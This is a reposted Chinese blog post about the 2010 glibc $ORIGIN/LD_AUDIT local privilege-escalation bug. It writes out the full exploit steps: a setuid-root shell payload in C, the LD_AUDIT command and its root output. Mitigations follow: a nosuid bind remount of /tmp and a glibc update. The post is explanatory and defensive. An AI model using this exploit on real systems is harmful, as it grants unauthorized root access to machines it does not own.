2012-02-06 10:22:38| 分类: linux安全|举报|字号 订阅
首先介绍下一下具体步骤中涉及到的2个频繁的出现的词语:
taviso:作者 Tavis Ormandy 的简称,Google信息安全工程师 个人微博:http://my.opera.com/taviso/blog/ http://twitter.com/taviso
exploit:自己创建的目录,表意漏洞利用,可以取任何名字。
原理:The GNU C library dynamic linker expands $ORIGIN in setuid library search path 详见作者博客
$ mkdir /tmp/exploit$ ln /bin/ping /tmp/exploit/target$ exec 3< /tmp/exploit/target$ ls -l /proc/$$/fd/3lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target*$ rm -rf /tmp/exploit/$ ls -l /proc/$$/fd/3lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 ->/tmp/exploit/target (deleted)$ cat > payload.cvoid __attribute__((constructor)) init(){ setuid(0); system("/bin/bash");}^D$ gcc -w -fPIC -shared -o /tmp/exploit payload.c$ ls -l /tmp/exploit-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3sh-4.1# whoamirootsh-4.1# iduid=0(root) gid=500(taviso)看到了吧!是不是很恐怖。以下有2种解决办法:
1,绑定目录
需要理解一下nosuid的原理:
我的理解是:比如/etc/passwd这个文件,本来只有root有权限修改,但是用户本身也可以去修改自己的密码,这就是一种“超出它本身权限的行为”,
nosuid就是为了停止这种提升特权的办法。比如/tmp目录就有这样的权限,我们就需要对它控制。
mount -o bind /tmp /tmp mount -o remount,bind,nosuid /tmp /tmp2,升级glibc版本(红帽官方提供的解决办法)
yum update glibc http://salogs.com/2010/12/linux-gcc-root/转载于:https://www.cnblogs.com/woxing/p/3857420.html
相关资源:JAVA上百实例源码以及开源项目